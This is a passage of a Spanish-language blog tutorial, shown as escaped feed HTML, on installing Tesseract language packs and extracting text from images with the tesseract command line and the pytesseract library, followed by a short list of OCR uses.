 }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/OCRTesseractVersion5vsVersion3-2.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/OCRTesseractVersion5vsVersion3-2.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diferencias de la eficacia del motor de OCR de tesseract 3 y tesseract 5 alpha. La version 5 presenta un mejor rendimiento.&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Comparación entre el resultado del OCR entre tesseract 3 y tesseract 5&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;como-instalar-lenguajes-en-tesseract&#34;&gt;¿Cómo instalar lenguajes en tesseract?&lt;/h3&gt;&#xA;&lt;p&gt;Podemos ver con que lenguajes viene instalado en tesseract con &lt;em&gt;--list-langs&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract --list-langs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Es obvio, pero es necesario mencionar que la medida en la que reconozca el texto va a depender de que lo usemos en el lenguaje correcto. Instalemos el lenguaje de español.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install tesseract-ocr-spa&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract --list-langs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;List of available languages &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;eng&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;osd&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;spa&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Verás que ahora el español ya se encuentra instalado y podemos usarlo para detectar el texto de nuestras imágenes agregando la opción &lt;em&gt;-l spa&lt;/em&gt; al final de nuestro comando&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;reconocimiento-optico-de-caracteres-con-tesseract&#34;&gt;Reconocimiento óptico de caracteres con tesseract&lt;/h2&gt;&#xA;&lt;p&gt;Ahora pongámoslo a prueba para reconocer texto en imágenes, directo de la terminal. Yo voy a usar la siguiente imagen:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/imagen_con_texto.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/imagen_con_texto.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Imagen con texto a procesar&#34; width=&#34;386&#34; height=&#34;430&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Archivo: imagen_con_texto.jpg&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract imagen_con_texto.jpg -&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Warning: Invalid resolution &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; dpi. Using &lt;span style=&#34;color:#ff9f43&#34;&gt;70&lt;/span&gt; instead.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Estimating resolution as &lt;span style=&#34;color:#ff9f43&#34;&gt;139&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Do you have the &lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt; to listen to me whine&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;El &amp;ldquo;-&amp;rdquo; al final del comando le indica a tesseract que mande los resultados del análisis a la salida estándar, para que podamos verlos en terminal.&lt;/p&gt;&#xA;&lt;p&gt;Es posible indicarle a tesseract el motor de OCR que queremos usar:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0: para el tesseract original&lt;/li&gt;&#xA;&lt;li&gt;1: para redes neuronales&lt;/li&gt;&#xA;&lt;li&gt;2: tesseract y redes neuronales&lt;/li&gt;&#xA;&lt;li&gt;3: Predeterminado, lo que esté disponible&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract imagen_con_texto.jpg - --oem &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Considera que &lt;strong&gt;no todos los archivos de idiomas funcionan con el tesseract original&lt;/strong&gt; (0 y 3). Aunque generalmente el de redes neuronales es el que da el mejor resultado. Puedes encontrar los modelos compatibles con el tesseract original y redes neuronales en el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/tesseract-ocr/tessdata&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;repositorio de tesseract&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Puedes instalarlos de manera manual descargándolos y moviéndolos a la carpeta adecuada, en mi caso es &lt;em&gt;/usr/local/share/tessdata/&lt;/em&gt;, pero puede ser diferente en tu sistema.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget https://github.com/tesseract-ocr/tessdata/raw/main/eng.traineddata&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo mv eng.traineddata /usr/local/share/tessdata/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;reconocimiento-optico-de-caracteres-con-pytesseract&#34;&gt;Reconocimiento óptico de caracteres con pytesseract&lt;/h2&gt;&#xA;&lt;h3 id=&#34;instalacion-de-pytesseract&#34;&gt;Instalación de pytesseract&lt;/h3&gt;&#xA;&lt;p&gt;Tras la instalación agregamos pytesseract (los bindings de python) y pillow (para el manejo de imágenes) a nuestro entorno virtual.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install pytesseract pillow&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;leer-cadenas-de-texto-o-strings-de-imagenes-con-pytesseract&#34;&gt;Leer cadenas de texto o strings de imágenes con pytesseract&lt;/h3&gt;&#xA;&lt;p&gt;Lo primero es revisar los lenguajes que tenemos instalados.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pytesseract&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; PIL &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Image&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pytesseract&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(pytesseract&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_languages())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# [&amp;#39;eng&amp;#39;, &amp;#39;osd&amp;#39;, &amp;#39;spa&amp;#39;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora que ya tenemos los lenguajes, podemos leer el texto de nuestras imágenes.&lt;/p&gt;&#xA;&lt;p&gt;El código necesario es bastante corto y explicativo, por si mismo. Básicamente le pasamos la imagen como argumento al método &lt;em&gt;image_to_string&lt;/em&gt; de pytesseract.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pytesseract&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; PIL &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Image&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pytesseract&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;img &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;open(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nuestra_imagen.jpg&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Abre la imagen con pillow&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;img&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;load()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;text &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pytesseract&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;image_to_string(img, lang&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;eng&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Extrae el texto de la imagen&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(text)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Do you have the time to listen to me whine...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;image_to_string&lt;/em&gt; puede recibir como argumento el lenguaje en el que queremos que detecte el texto.&lt;/p&gt;&#xA;&lt;p&gt;Tesseract incluye un método con el cual podemos obtener mucha más información de la imagen: &lt;em&gt;image_to_data&lt;/em&gt;, este está disponible para versiones superiores a la 3.05.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pytesseract&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;image_to_data(img)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/dataTesseract.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/dataTesseract.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Retorno del método image_to_data en tesseract&#34; width=&#34;930&#34; height=&#34;280&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si quieres profundizar más visita la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/tesseract-ocr/tesseract&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación completa de tesseract&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-se-puede-hacer-con-el-reconocimiento-optico-de-caracteres&#34;&gt;¿Qué se puede hacer con el Reconocimiento óptico de caracteres?&lt;/h2&gt;&#xA;&lt;p&gt;El OCR es bastante útil para las redes sociales, donde puedes escanear el texto que aparece en las imágenes para leer su contenido y luego procesarlo o darle tratamiento estadístico.&lt;/p&gt;&#xA;&lt;p&gt;Aquí va otro caso, imagina un programa que escanee image boards o redes sociales, extraiga un par de imágenes de los vídeos publicados y los relacione con una cuenta de tik tok usando la marca de agua que aparece en cada vídeo.&lt;/p&gt;&#xA;&lt;p&gt;O quizá una página que sube imágenes de sus productos con sus precios escritos en cada una de ellas. Con el OCR es posible obtener todos sus precios, y subirlos a tu base de datos, descargando y procesando sus imágenes.&lt;/p&gt;&#xA;&lt;p&gt;La &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/mi-analisis-de-captchas-anti-bots-ventajas-y-desventajas/&#34;&gt;resolución de captchas anti-bot&lt;/a&gt;&#xA; también es uno de los usos más interesantes del OCR, con esto puedes brincar captchas y utilizar bots para scrappear sitios web.&lt;/p&gt;&#xA;&lt;p&gt;Facebook debe usar algún tipo de tecnología similar para censurar las imágenes que incluyen texto ofensivo, de acuerdo a sus políticas, que se suben a su red social.&lt;/p&gt;&#xA;&lt;p&gt;Puedes crear un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/como-crear-un-mcp-server-y-mcp-tools-desde-cero/&#34;&gt;servidor MCP&lt;/a&gt;&#xA; que procese documentos, los lea y te devuelva el contenido.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/facebook-screenshot-ocr.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/facebook-screenshot-ocr.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Facebook usa OCR para leer el texto de sus imágenes&#34; width=&#34;727&#34; height=&#34;542&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Facebook es capaz de leer el texto que aparece en una imagen&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Otra de las aplicaciones más comunes la transformación de un libro en pdf en imágenes a texto, ideal para transformar digitalizaciones de libros antiguos a epub o archivos de texto.&lt;/p&gt;&#xA;&lt;p&gt;Como puedes ver es bastante útil, yo pienso que es una de las aplicaciones de la AI que no desaparecerá &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;cuando la burbuja de AI truene&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Python es increíblemente versátil, cuenta con una numerosa comunidad que pone a tu disposición librerías que te permiten crear redes neuronales desde cero, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/&#34;&gt;realizar fine-tuning de un LLM&lt;/a&gt;&#xA; o usar el Reconocimiento Óptico de Caracteres (OCR). Para este último sólo necesitas instalar tesseract y los bindings de python, llamados pytesseract y estarás listo para convertir una imagen en una cadena de texto.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CXeaEYALRdp&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CXeaEYALRdp&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 